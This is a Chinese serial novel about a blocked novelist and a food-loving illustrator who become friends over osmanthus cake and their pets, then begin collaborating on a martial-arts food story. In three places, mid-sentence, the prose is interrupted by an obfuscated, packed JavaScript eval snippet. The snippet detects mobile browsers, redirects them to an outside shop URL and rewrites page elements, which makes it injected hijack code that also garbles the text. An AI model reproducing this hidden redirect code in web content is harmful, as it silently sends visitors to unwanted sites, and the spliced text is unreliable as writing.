《食味江湖》 1. 桂花糕与未完成的稿子 霜莉盯着笔记本电脑屏幕上的光标已经闪烁了整整三分钟。 茶馆角落的位置是她的秘密据点——临窗,有绿植遮挡,电源插座充足,最重要的是,老板默许她点一壶茶坐整个下午。此刻,那壶碧螺春已经续了两次水,味道淡得只剩下颜色,而她笔下的江湖侠客们还在第一章的山脚下打转。 “白衣剑客洛尘应该在这里遇见医仙谷的传人……”她喃喃自语,手指在键盘上悬停,“但怎么遇见才不落俗套呢?” 窗外秋意渐浓,梧桐叶边缘泛起金黄。霜莉叹了口气,从帆布包里掏出一个小绒布袋。拉开抽绳,一个毛茸茸的小脑袋探了出来——她的蜜袋鼯糯米,正用黑溜溜的眼睛茫然地看着她。 “糯米乖,妈妈在工作。”她轻声说,用手指揉了揉糯米的小脑袋。这小家伙是去年生日时朋友送的礼物,如今已成为她写作时最安静的陪伴者。 就在她准备再次投入战斗时,一阵甜香飘了过来。 不是茶香,不是糕点柜里那些普通点心的味道。这香气清雅绵长,带着桂花特有的馥郁,却又混着一丝若有若无的蜂蜜甜。霜莉的注意力完全被勾走了。 她循着香气望去,邻桌坐着一个短发女孩,面前摆着一碟晶莹剔透的糕点。淡黄色的糕体,中间夹着细密的桂花层,表面淋着一层薄薄的蜂蜜光泽。女孩正用手机对着糕点拍照,角度调了又调,神情专注得像在进行艺术创作。 霜莉的肚子不合时宜地叫了一声。 短发女孩抬起头,两人目光相撞。霜莉尴尬地笑了笑,指了指屏幕:“赶稿,中午忘了吃饭。” “那就一起吃呗。”女孩出乎意料地热情,直接将碟子推到了两张桌子中间,“这家茶馆隐藏菜单的桂花糕,老板说是他祖母的配方,每天只做十份。” “这怎么好意思……”霜莉话还没说完,女孩已经用备用筷子给她夹了一块。 “一个人吃多没意思。我叫鸿雁,朋友们都叫我鱿鱼。”女孩眼睛弯成月牙,“你呢?” “霜莉。是个……写小说的。”她接过糕点,小小咬了一口。 口感比她想象中还要美妙。糕体软糯却不黏牙,桂花香气在口中缓缓绽放,蜂蜜的甜度恰到好处,尾调还有一丝若有若无的橘皮清香。霜莉忍不住闭上眼睛,味觉带来的愉悦甚至让她暂时忘却了创作困境。 “好吃吧?”鸿雁得意地说,仿佛这是她自己做的,“老板说这桂花要选用初秋第一茬金桂,蜂蜜得是东山老林的冬蜜,连蒸糕的竹笼都得是三年以上的老物件。” 霜莉睁开眼睛,发现鸿雁正盯着她的笔记本电脑屏幕。 “你在写什么?我看你盯着屏幕愁眉苦脸好久了。” “古风小说。”霜莉有些不好意思,“不过卡文了,主角的相遇场景怎么都不满意。” 鸿雁歪着头想了想:“为什么不让他们因为食物相遇呢?” “食物?” “对啊。”鸿雁眼睛亮了起来,“比如,让剑客受伤后闻到一阵特别的食物香气,循着味道找到一家偏僻小店,发现店主正是他要找的人。或者反过来,让隐居的医者用一道特别的药膳救了中毒的侠客。” 霜莉愣住了。这个角度她从未想过。在她的设定里,江湖侠客似乎总是饮酒论剑,食物不过是背景板。但鸿雁的话像是一把钥匙,突然打开了一扇新的门。 “你是做什么的?”霜莉好奇地问。鸿雁对食物的描述如此生动,不像是普通食客。 “画画的。”鸿雁轻描淡写地说,又咬了一口桂花糕,“不过今天休息,专门出来觅食。” 两人就这样聊开了。从桂花糕的不同做法,到各自喜欢的古风元素;从鸿雁最近发现的一家做宋式点心的私房菜馆,到霜莉笔下那个总也写不完的江湖。糯米从绒布袋里完全钻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122838|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了出来,在霜莉肩头好奇地张望。 “这是蜜袋鼯?”鸿雁惊喜地凑近,“好可爱!我能摸摸吗?” “它有点怕生——哎?”霜莉惊讶地发现糯米并没有躲闪,反而接受了鸿雁的轻抚。 “动物都喜欢我。”鸿雁得意地说,“我家有只英短,叫咪咪,胖得像个毛球。” 时间在闲聊中飞快流逝。当霜莉再次看向电脑时,惊讶地发现刚才卡住的情节突然有了思路。剑客洛尘不再是在山道上偶遇医仙传人,而是在一个雨夜,被独特的药草香气吸引,找到了一家亮着昏黄灯火的山野食肆…… “我得把这个记下来。”霜莉急忙开始打字。 鸿雁也不打扰她,安静地吃完最后一块桂花糕,拿出随身携带的速写本,开始画些什么。 窗外的阳光渐渐倾斜,为茶馆镀上一层温暖的金色。霜莉写完那段新构思的场景,长舒一口气,抬起头发现鸿雁已经不在座位上了。桌上留着一张便条,用可爱的字体写着: “青砚老师(我看到你文档的名字了),今天聊得很开心!你的江湖一定很有趣。留个联系方式吧,下次发现好吃的店叫你一起。PS:桂花糕钱已付,算是为你的江湖贡献一点灵感。——鱿鱼” 下面是一串电话号码,旁边还画了一个小小的卡通鱿鱼和一块桂花糕。 霜莉笑了,将便条小心地夹进笔记本。她保存文档,收拾好东西,把糯米放回绒布袋。离开茶馆前,她特意去柜台问明天的桂花糕是否还能预订。 “那位短发的姑娘已经帮你预订了接下来一周的份。”老板笑眯眯地说,“她说写作需要糖分支持。” 秋风吹过街道,卷起几片落叶。霜莉握紧手机,里面存了一个新号码。她突然觉得,今天虽然只写了不到一千字,却可能是近期最有收获的一天。 肩头的糯米吱吱叫了两声,似乎在表示同意。 2. 蜜袋鼯与英短的邂逅 三天后的下午,霜莉抱着糯米冲进宠物诊所时,完全没料到会再次遇见鸿雁。 “医生,它从昨天晚上开始就不怎么吃东西,活动也少了。”霜莉焦急地对兽医说,一边轻轻摸着糯米的小脑袋。蜜袋鼯平时活泼好动,此刻却无精打采地蜷缩在她手心。 “先做个基础检查。”兽医温和地说,“你去候诊区稍等一下吧。” 候诊区已有几个人在等待。霜莉找了个角落位置坐下,正想发消息告诉鸿雁今天可能没法赴约——她们约好去尝那家宋式点心店——就听见一个熟悉的声音: “咪咪,你再胖下去就不是英短,是英‘胖’了!” 霜莉抬头,看见鸿雁抱着一只银灰色的英国短毛猫坐在对面。猫确实圆滚滚的,正用一副帝王般的表情审视着周围环境。 “鱿鱼?”霜莉惊讶地叫出声。 鸿雁转过头,同样一脸惊喜:“霜莉?你怎么在这儿?”她的目光落在霜莉手中的糯米身上,“小家伙怎么了?” “可能是肠胃问题。”霜莉担忧地说,“你呢?咪咪生病了?” “年度体检而已。”鸿雁拍拍怀里的猫,“这位大小姐健康得很,就是体重超标。医生上次说再不控制,就要得猫咪糖尿病了。” 咪咪似乎听懂了,不满地“喵”了一声,转过头去。 两人相视而笑。候诊区的其他宠物主人投来友善的目光——一个抱着蜜袋鼯,一个抱着英短猫,这组合确实少见。 “你的蜜袋鼯叫什么名字?”鸿雁问。 “糯米。因为它颜色像糯米团子。”霜莉回答,“咪咪这个名字倒是很直接。” “我起名废嘛。”鸿雁耸耸肩,“本来想叫它‘陛下’或者‘总裁’,但每次喂食时喊‘陛下吃饭啦’实在太傻了。” 谈话间,兽医助理叫到了咪咪的名字。鸿雁起身,却发现咪咪突然死死抓住她的外套,不肯进诊室。 “咪咪乖,就是量个体重……”鸿雁试图安抚,但猫咪不为所动。 这时,霜莉肩头的糯米突然动了动。小家伙似乎恢复了点精神,从霜莉的掌心爬到肩上,好奇地看着对面的大猫。然后,令人意想不到的事情发生了——糯米展开皮膜,从霜莉肩头滑翔而出,准确地落在鸿雁的膝盖上,正好停在咪咪面前。 两只动物都愣住了。 咪咪低下头,用鼻子轻轻嗅了嗅这个突然降临的小不点。糯米则大胆地向前爬了两步,用小爪子碰了碰咪咪的胡须。 “它们……”霜莉屏住呼吸,生怕猫咪的捕猎本能被激发。 但咪咪只是打了个哈欠,用爪子把糯米往自己身边拢了拢,然后继续窝在鸿雁腿上,仿佛多了一个毛绒玩具。 “看来咪咪挺喜欢这个小不点。”鸿雁笑了,“动物果然都喜欢我,连我家这只高冷猫也不例外。” 兽医助理也被这景象逗笑了:“要不你们一起进来?反正诊室够大。” 于是,在宠物诊所的诊室里,出现了这样一幅画面:银灰色的英短猫趴在检查台上接受检查,而一只蜜袋鼯则好奇地在猫背上走来走去,偶尔停下来用爪子梳理猫咪的毛。咪咪表现得异常宽容,甚至在糯米差点滑落时,用尾巴轻轻拦了一下。 “关系真好。”兽医一边记录数据一边说,“不过蜜袋鼯确实需要检查,它有点轻微脱水。” 检查结果显示,糯米只是吃了不合适的水果导致肠胃不适,需要调整几天饮食。咪咪则被严肃告知必须减肥,兽医还给了鸿雁一份详细的饮食计划。 “一周只能吃三次零食?”鸿雁看着计划表哀嚎,“咪咪会恨死我的。” “为了它的健康。”兽医微笑着说。 离开诊所时,天色已近黄昏。两人并肩走在街道上,霜莉捧着装有糯米的便携笼,鸿雁则牵着咪咪的遛猫绳——尽管咪咪明显对这种束缚不满。 “抱歉,今天点心店去不成了。”鸿雁说,“得按照医生吩咐,回家给咪咪准备减肥餐。” “没关系,糯米也需要休息。”霜莉说,“不过你遛猫的样子真有趣。” 咪咪确实不太配合,每走几步就要停下来嗅嗅地面,或者试图扑向飘落的树叶。鸿雁不得不耐心地跟着它,调整步伐。 “对了,你为什么叫‘鱿鱼’啊?”霜莉终于问出这个好奇已久的问题。 鸿雁做了个鬼脸:“大学时我特别爱吃铁板鱿鱼,几乎每周都要吃三次。有一次社团聚餐,我一人吃了五串,社长就说‘鸿雁你别叫鸿雁了,叫鱿鱼吧’。然后这外号就传开了。” 霜莉忍不住笑了:“那你还真喜欢食物啊。” “食物是世界上最诚实的东西。”鸿雁认真地说,“你对它好,它就回报你美味;你敷衍它,它就让你失望。比人简单多了。” 这句话让霜莉陷入了短暂的思考。她想起自己笔下的人物,似乎总是太过复杂,反而失去了真实感。 “说到食物,”鸿雁突然想起什么,“既然今天不能去点心店,要不要来我家?我给糯米做点适合它吃的果泥,顺便也给咪咪做减肥餐。我家离这不远。” 霜莉有些犹豫:“不会太打扰吗?” “一个人吃饭多无聊。”鸿雁已经转身带路,“而且我可以给你看看我画的画,你不是好奇吗?” 这个邀请很难拒绝。霜莉看了看笼子里精神稍好的糯米,点了点头。 鸿雁的公寓比霜莉想象中整洁。客厅最显眼的位置不是电视,而是一个大大的画架和堆满颜料画笔的工作台。墙上挂着几幅已完成的作品,有风景,有静物,还有几张猫咪的素描——当然是咪咪。 “随便坐,我去准备点吃的。”鸿雁放下猫包,咪咪立刻钻出来,熟悉的领地让它恢复了高傲姿态,慢悠悠走向自己的食盆。 霜莉被墙上的画作吸引了。一幅秋日林间的油画,光影处理得极其细腻,仿佛能听到踩在落叶上的声音。一幅静物写生,几个瓷碗和水果,却有着难以言喻的生动感。最让她震撼的是一幅未完成的人物画,只勾勒了轮廓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122839|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却已能看出画中人的神韵。 “你画得真好。”霜莉由衷地说。 鸿雁从厨房探出头:“还行吧。不过我画着玩而已,没打算靠这个出名。” “为什么?”霜莉不解,“这样的才华不被看到多可惜。” 鸿雁端着一个托盘走出来,上面有两杯自制柠檬蜂蜜水和给宠物准备的食物:“一旦变成职业,乐趣就少了。压力啦, deadlines啦,客户要求啦……我现在想画什么就画什么,多自由。” 她将一小碟果泥放在糯米笼子前,又给咪咪端去了特制的猫饭——少了许多零食,多了些蔬菜。 霜莉看着鸿雁细心照顾两只宠物的样子,突然觉得这位自称“鱿鱼”的女孩身上有种难得的纯粹。在这个人人都急于被看见的时代,有人却甘愿停留在自己的小世界里,享受简单的快乐。 “对了,你上次说的那个因为食物相遇的场景,我写进去了。”霜莉说,“效果很好,编辑都说这段很新颖。” 鸿雁眼睛一亮:“真的?能给我看看吗?” 霜莉从包里拿出平板电脑,调出那段文字。鸿雁接过,认真地读起来。她的表情随着阅读而变化,时而微笑,时而点头。 读完后,她抬起头,眼中闪着光:“这里,医仙谷传人做的那道药膳,如果加入一味陈皮,会不会更有层次感?陈皮理气健脾,正好符合她治疗内伤的逻辑。” 霜莉愣住了。她没想到鸿雁不仅给出故事建议,连药膳的细节都能考虑得如此周到。 “你怎么懂这些?” “喜欢美食的人,自然要研究食材嘛。”鸿雁轻描淡写地说,但霜莉看到了她眼中的认真。 那天晚上,两人聊到很晚。从食物到绘画,从写作到宠物,从童年记忆到未来梦想。霜莉发现,虽然她和鸿雁性格不同——一个安静内敛,一个开朗外向——但对创作和生活的理解却出奇地一致。 当霜莉准备离开时,鸿雁突然说:“我觉得你的小说应该配插图。” “插图?” “对啊。那种古风的水墨风格插图,配合你的文字。”鸿雁越说越兴奋,“比如剑客洛尘第一次闻到药膳香气的那个场景,我可以想象出画面:雨夜,山林,孤灯小店内氤氲的蒸汽……” 霜莉心跳加快了。她从未想过自己的文字能与画面结合,但鸿雁的描述让她看到了可能性。 “你愿意……试试吗?”她小心翼翼地问。 鸿雁笑了,那笑容在温暖的灯光下格外明亮:“当然。就当是给我的桂花糕回礼。” 离开鸿雁家时,夜已深。霜莉抱着装有糯米的笼子,走在回家的路上。秋风微凉,但她心中却暖洋洋的。肩上的糯米已经恢复了活力,正吱吱叫着,似乎也在为这次意外的重逢而开心。 手机震动,是鸿雁发来的消息:“安全到家说一声。PS:我已经开始画洛尘的草图了。” 霜莉微笑着回复。她突然觉得,这个秋天可能会比她想象中更有趣。 3. 鱿鱼的画与青砚的文 一周后的下午,霜莉在书房里来回踱步。糯米在她的书架上跳来跳去,从一个格子滑翔到另一个格子,玩得不亦乐乎。 电脑屏幕上打开的文档已经两小时没有新增一个字了。霜莉卡在了一个关键场景:主角洛尘与医仙传人云苓的第一次深入对话。她写了三个版本,都不满意——要么太正式像学术讨论,要么太随意失去了古风韵味。 “食物为引,以食喻人……”她念叨着鸿雁给的建议,但还是找不到切入点。 手机适时响起,是鸿雁发来的图片消息。霜莉点开,呼吸一滞。 那是一张水墨风格的草图,画面中,雨夜山林的朦胧感被渲染得淋漓尽致。一间茅草屋顶的小店透出昏黄灯火,窗前隐约可见一个忙碌的身影。店外,白衣剑客驻足凝望,雨水顺着斗笠边缘滴落,他的表情复杂——警惕、疲惫,又被某种不可抗拒的香气吸引。 画面的右下角还有个小细节:店门口挂着一块木牌,上面画着简单的药草图案,旁边题着“云间食肆”四个字。这正是霜莉在小说中给医仙传人小店取的名字。 “随便画的,不知道是否符合你的想象。”鸿雁的消息紧随其后。 霜莉盯着那张图看了很久。鸿雁不仅读懂了她的文字,还补充了她未曾描述的细节——剑客斗笠上的雨滴,食肆窗户上的雾气,甚至人物衣袂被风吹动的弧度。这一切让那个场景突然鲜活起来,仿佛不再是纸上的文字,而是一个真实存在的世界。 她拨通了鸿雁的电话。 “怎么样?需要修改吗?”鸿雁接得很快,背景音里有猫咪的叫声和纸张翻动的声音。 “不,不是修改的问题。”霜莉深吸一口气,“是……你画得太好了,好到让我觉得自己的文字配不上这幅画。” 电话那头静了一瞬,然后传来鸿雁的笑声:“青砚老师,你这是在夸我还是在自贬啊?你的文字让我有了画画的冲动,这才是最重要的。” “能见个面吗?”霜莉突然说,“我想看着原画,也许能找到突破卡文的灵感。” “现在?我在工作室,有点乱哦。” “没关系。” 半小时后,霜莉站在鸿雁的工作室门口,手里提着路上买的双皮奶和蛋挞——这是鸿雁昨天说想吃的。 门一开,糯米就从霜莉肩头滑翔进去,熟门熟路地落在咪咪常待的猫爬架上。咪咪懒洋洋地抬眼看了看这位常客,又继续打盹。 “它俩真是相处融洽。”鸿雁笑着让霜莉进屋。 工作室比霜莉想象中还要“丰富”。画架、画板、颜料、各种画笔和工具占据了大部分空间,墙上贴满了速写、色卡和灵感图片。角落里的书架不仅塞满了艺术书籍,还有大量食谱、食材图鉴和饮食文化研究。 最引人注目的是中央大桌子上铺开的一幅接近完成的画作——正是鸿雁发给她看的那幅《云间食肆》,但细节更加丰富,色彩层次也更加微妙。 “这是水彩加了一点矿物颜料。”鸿雁解释道,“我想做出那种雨夜朦胧又带着温暖灯火的感觉。” 霜莉走近细看,几乎屏住了呼吸。近距离观赏,画面的感染力更强了。她能感受到雨夜的凉意,也能感受到食肆内透出的温暖;能想象出山间的风声,也能仿佛闻到药膳的香气。 “这里,”她指着画面中食肆窗内的模糊人影,“云苓正在准备的是‘归芪鸡汤’,我在文里写的。但你把她弯腰查看药罐的动作画出来了,我甚至能看出她的专注。” 鸿雁眼睛一亮:“你真的注意到了!我觉得医仙传人不应该只是个功能性的角色,她有自己的生活和情感。即使是在治病救人,也有她专注和享受的时刻。” 这句话像一把钥匙,突然打开了霜莉的思路。她一直以来都把云苓写得太“仙”了,不食人间烟火,所有的对话都是为了推动剧情或解释设定。但鸿雁笔下的云苓,即使在模糊的影子中,也透露出一个真实的人的温度。 “我明白我卡在哪里了。”霜莉喃喃道,“我把对话写得太‘正确’,太‘符合设定’,却忘了他们首先是人,是在特定情境下相遇的两个有血有肉的人。” 她放下手中的点心,急切地打开随身携带的笔记本电脑:“能借用一下你的桌子吗?我突然有灵感了。” “当然。”鸿雁清出一块地方,好奇地凑过来,“你要现在写?” 霜莉已经沉浸在创作中。她重新打开那个卡住的场景,删掉了之前所有版本,从头开始写: “洛尘站在檐下,雨水从茅草边缘滴落成帘。他本该警惕——这荒山野岭,深夜亮灯的小店太过诡异。但那股香气固执地钻入鼻腔,不是他熟悉的任何食物味道,而是一种复杂的、带着药草清苦却又混着食材鲜甜的气息。这香气让他想起童年时祖母熬的药膳,那种即使生病也能感到被呵护的温暖。 店内传来轻柔的哼歌声,不成调,却自在。 他推门而入,风铃轻响。 灶台边的女子回头,手里还拿着汤勺。她看起来不像医仙,倒像邻家阿姊,袖口挽起,发丝微乱,脸颊被灶火熏出淡淡红晕。 ‘客官淋雨了?’她语气自然得像每天都在这个时辰接待陌生剑客,‘正好汤快好了,暖暖身子吧。’ 洛尘所有准备好的质问和试探,在这寻常的问候中突然失了效。他发现自己不是在面对一个神秘的医仙传人,而是一个在雨夜为陌生人留一盏灯、热一锅汤的普通人。” 霜莉写得飞快,指尖在键盘上几乎要擦出火花。鸿雁安静地在一旁看着,偶尔瞥一眼屏幕,嘴角带着微笑。 写到一个段落结束,霜莉才停下来,长舒一口气。她转过头,发现鸿雁已经泡好了茶,正小口喝着,咪咪蜷在她腿上,糯米则在她肩头打盹。 “怎么样?”霜莉有些紧张地问。 鸿雁没有直接评价,而是问:“你觉得洛尘这时应该是什么表情?” 霜莉想了想:“警惕放松后的疲惫,加上一点困惑——他不习惯接受陌生人的好意,尤其是这种不求回报的好意。” 鸿雁点点头,拿过一旁的速写本,迅速勾勒起来。几分钟后,她将本子转向霜莉。画面上是洛尘特写:雨水打湿的头发贴在额前,眼神中的锐利被疲惫软化,嘴角微微放松,手中捧着的汤碗升起的热气模糊了他的部分表情。 “这样?”鸿雁问。 霜莉看着那幅速写,突然有了新的灵感。她回到电脑前,继续写道: “汤碗温热透过粗陶传递到掌心,洛尘低头看去,清澈的汤液中浮着黄芪、当归和枸杞,鸡肉已经被炖得酥烂。他喝了一口,味道出乎意料——药草的苦被某种水果的甜味中和,尾调还有一丝姜的暖意。 ‘加了苹果?’他问。 云苓有些惊讶:‘客官懂药膳?’ ‘不懂。只是尝出来了。’洛尘又喝了一口,这一次,他品出了更多层次,‘还有……陈皮?’ ‘三年以上的新会陈皮。’云苓笑了,那笑容让她的眼睛弯成月牙,‘它能理气健脾,还能去腥增香。我看客官气色,似有内伤郁结,这汤正合适。’ 洛尘沉默地喝着汤。他行走江湖多年,受过无数伤,也接受过许多治疗,但从未有人通过一碗汤,就如此准确地看穿他的状态。更未曾有人,在这样做时,只是像分享一餐寻常晚饭般自然。” 写到这里,霜莉停了下来。这段文字与之前的版本完全不同,不再是大段关于医理和武功的对话,而是通过一碗汤,展现了两个陌生人的初次交心。她感到一种久违的创作愉悦——不是因为写得顺利,而是因为写出了真正打动自己的东西。 她抬头看向鸿雁,发现对方正托着下巴,若有所思地看着那幅完成的《云间食肆》。 “你在想什么?”霜莉问。 鸿雁转头看她,眼睛亮晶晶的:“我在想,云苓的厨房应该是什么样子。她既是医者,也是厨人,那么她的工具应该既有药罐药杵,也有锅碗瓢盆。她的食材应该既有珍贵药材, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122840|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也有寻常果蔬。” 她说着,又拿起画笔,在画纸的空白处开始勾勒。很快,一个充满生活气息的厨房一角出现在纸上:墙上挂着成串的干草药,架子上摆着各种罐子,灶台边的小竹篮里放着新鲜蔬果,窗台上还有一小盆开着白花的植物。 “这是什么?”霜莉指着那盆花问。 “金银花。”鸿雁说,“可以入药,也可以泡茶,花开时很香。我觉得云苓会喜欢在厨房窗台养一些既有用又好看的东西。” 霜莉被这个细节打动了。她突然意识到,与鸿雁的交流不仅仅是在获取插图,更是在共同构建一个世界。她的文字提供骨架,鸿雁的画补充血肉,而两人的对话和碰撞,则赋予这个世界呼吸和心跳。 “鱿鱼,”她认真地说,“我们合作吧。” 鸿雁眨了眨眼:“我们不是在合作吗?” “我是说正式合作。”霜莉整理着思路,“我的《云间录》系列,你的插图。不是简单的一两幅,而是每个重要场景,每个人物。我们共同创造一个完整的视觉和文字世界。” 鸿雁没有立刻回答。她放下画笔,轻轻摸着腿上咪咪的毛。糯米醒了,从她肩头滑到手臂上,又顺着爬到她摊开的手心里。 “你知道我不喜欢被约束。”鸿雁终于说,“一旦变成正式合作,就会有deadlines,有要求,有期望……” “不。”霜莉打断她,“没有deadlines,只有当我们都有灵感时才创作。没有要求,只有彼此的建议。没有期望——”她停顿了一下,“除了一个:享受这个过程,创造我们都喜欢的东西。” 鸿雁看着手心里的小糯米,又看了看霜莉认真的表情,突然笑了。 “那好吧。”她说,“不过我要有随时喊停的权利。” “当然。”霜莉松了口气,“那……我们从哪里开始?” 鸿雁看了看桌上的画,又看了看霜莉电脑上的文字,眼睛转了转:“从食物开始怎么样?你写云苓为洛尘做的每一道药膳,我画这些食物的绘制过程。文字和图像,讲述同一个故事的不同侧面。” “《云间食肆》系列。”霜莉说出这个名字时,感到一阵兴奋,“不仅是小说插图,更是以食物为线索的叙事。” 两人相视而笑。窗外的天色渐暗,工作室的灯光温暖而明亮。咪咪伸了个懒腰,从鸿雁腿上跳下,走到食盆前发出暗示性的叫声。糯米也从鸿雁手心滑翔回霜莉肩头。 “它俩饿了。”鸿雁起身,“我也饿了。叫外卖还是我做点简单的?” “你做吧。”霜莉说,“我想看看现实中的‘云苓’会做什么菜。” 鸿雁笑着走向厨房:“那可别期待药膳,我只会家常菜。西红柿炒鸡蛋怎么样?或者青菜肉丝面?” “都可以。”霜莉保存文档,合上电脑,跟着走进厨房。 她靠在门框上,看着鸿雁熟练地洗菜、切菜、热锅。这个场景意外地与她刚写的内容呼应——不是雨夜山林的食肆,而是现代都市的小公寓;不是医治内伤的剑客,而是两个因创作结缘的朋友;不是复杂的药膳,而是简单的家常菜。但那份温暖,那种通过食物传递的关怀,却是相通的。 “你知道吗,”霜莉突然说,“我很庆幸那天在茶馆被你的桂花糕吸引。” 鸿雁回头,锅铲在空中停顿了一下,然后笑了:“我也很庆幸你当时在卡文。不然我们可能只是擦肩而过的陌生人。” 油烟机的嗡嗡声,锅铲翻炒的声响,猫咪的叫声,蜜袋鼯的吱吱声——这些声音混在一起,构成了一个平凡而温暖的傍晚。霜莉想,也许最好的创作就是这样,源于真实的生活,又反过来照亮生活。 她拿出手机,拍下了鸿雁做饭的背影。也许某一天,这个画面也会出现在她的故事里——不是古风江湖,而是关于友谊和创作的现代故事。 但那是以后的事了。现在,她只是期待着一顿简单的晚餐,和一段刚刚开始的、充满可能性的合作。 4. 第一次美食探店 周六上午十点,霜莉按照鸿雁发来的定位,在一条老街的巷口等待着。这条街她路过很多次,却从未深入探索过——两边是有些年头的居民楼,底层开着各式小店,招牌大多朴素,有的甚至只是手写牌子。 “等久了吧?”鸿雁从巷子深处小跑过来,今天她穿了件宽松的卫衣和牛仔裤,背着一个看起来能装下很多东西的大帆布包。 “刚到。”霜莉说,肩上的糯米好奇地张望着四周。为了带它出门,霜莉特意准备了一个胸前宠物袋,小家伙只露出个小脑袋,引得路人频频侧目。 鸿雁的包里也传来轻微的动静——她为咪咪准备了一个透气猫包,此刻猫咪正透过网格观察着外面世界,表情介于好奇和不屑之间。 “今天我们探的这家店,是我找了很久才发现的。”鸿雁神秘兮兮地说,“老板是个退休的老厨师,据说祖上在御膳房待过,现在只每周六上午开门,做传统的‘朝食’。” “朝食?” “就是古代的早餐。”鸿雁边走边解释,“不是我们现在吃的豆浆油条那种,而是更讲究、更精致的小食。每种分量不多,但品类丰富,一顿能吃七八种不同的东西。” 巷子越来越窄,两旁的店铺也越来越不起眼。最后,鸿雁在一扇没有任何招牌的木门前停下。门是旧的,油漆斑驳,但门把手擦得锃亮。 “就是这儿。”她推开门,门上的风铃发出清脆声响。 店内空间不大,只有四张桌子,装修简单却干净。墙上挂着一些老照片和书法作品,最引人注目的是正中一幅裱好的字:“食之味,在时节,在人心”。 一位头发花白的老人从里间走出来,看到鸿雁,脸上露出笑容:“小鱿鱼来了。还带了朋友?” “陈爷爷好。”鸿雁乖巧地打招呼,“这是霜莉,也是个喜欢美食的。这是她的蜜袋鼯糯米,这是我家咪咪。” 老人凑近看了看两只宠物,点点头:“万物有灵,美食亦如此。坐吧,今天有新鲜的荠菜和春笋,给你们做点应季的。” 两人选了靠窗的位置坐下。鸿雁从包里拿出相机和一个小笔记本,霜莉则好奇地打量着店内。没有菜单,也没有价格表,一切都像是去长辈家做客般随意。 “你是怎么发现这里的?”霜莉压低声音问。 鸿雁也压低声音回答:“两年前我为了画一组传统食物的插图,到处寻访会做古法点心的人。有个美食博主给了我线索,我找了一个多月才找到这里。陈爷爷脾气有点怪,不是谁都接待,得看眼缘。” “那我们很幸运?” “是我很幸运,你沾了我的光。”鸿雁眨眨眼,随即又认真起来,“不过陈爷爷的手艺是真的好。他做的东西,很多工序现在的餐厅已经不用了,因为太费时费力。” 正说着,老人端着一个托盘出来,上面是两杯清茶和两个小碟。 “先喝口茶,润润喉。这是我自己配的‘晨露’,有薄荷和柠檬草,清口最好。” 茶汤清澈,香气清新。霜莉喝了一口,确实感到一股清凉从喉咙滑下,整个人都精神了几分。 小碟里各摆着三块小巧的糕点,颜色形状各异。 “这是今天的‘朝食三品’。”老人介绍道,“绿色的是荠菜翡翠糕,白色的是山药茯苓饼,黄色的是桂花小米酥。你们慢慢吃,后面还有。” 老人又回了厨房。鸿雁已经举起相机,从各个角度拍摄这三样点心,还调整了几次光线。 “你不先吃吗?”霜莉问。 “记录很重要。”鸿雁一边拍照一边说,“食物的美是瞬间的,尤其是这种刚出锅的状态。温度、光泽、质感,每一刻都在变化。” 拍完照,她才小心翼翼地夹起一块荠菜翡翠糕,却没有立刻放进嘴里,而是先仔细观察:“你看这绿色,不是色素,是荠菜汁和艾草汁调出来的自然色。能看出荠菜的细碎叶片,说明不是用泥而是用粗剁的菜茸。” 霜莉学着她的样子观察。确实,糕体通透,能看到里面的植物纤维,表面还撒了少许松子仁。 “吃的时候也要注意层次。”鸿雁咬了一小口,闭上眼睛细细品味,“先是外皮的微凉和滑嫩,然后是荠菜的清甜和特殊香气,最后是松子的坚果香。甜度很低,几乎是在突出食材本身的味道。” 霜莉也尝了一口,惊讶地发现这小小一块糕点竟然真的有如此丰富的层次感。与她平时吃的点心完全不同,没有那种强烈的甜或油腻,而是一种含蓄的、需要静心品味的美味。 “这种味道让我想起我小说里的某些场景。”霜莉说,“我写云苓做药膳时,总是强调‘调和’与‘平衡’,但说实话,我对这些概念的理解很抽象。今天尝到这个,我才真正明白什么是‘恰到好处的平衡’。” 鸿雁眼睛一亮:“对吧?食物是最好的老师。你想写古风美食,光靠查资料和想象是不够的,得真正品尝那些遵循古法、讲究时节和搭配的食物。” 说话间,老人又端来了新的食物:两小碗羹汤,两碟造型别致的包子,还有两碟腌制小菜。 “春笋鸡茸羹,玫瑰花卷,四味小菜。”老人简单介绍后,又补充道,“玫瑰花卷的馅料用了当季的鲜玫瑰和核桃,花是自己种的,没打药。” 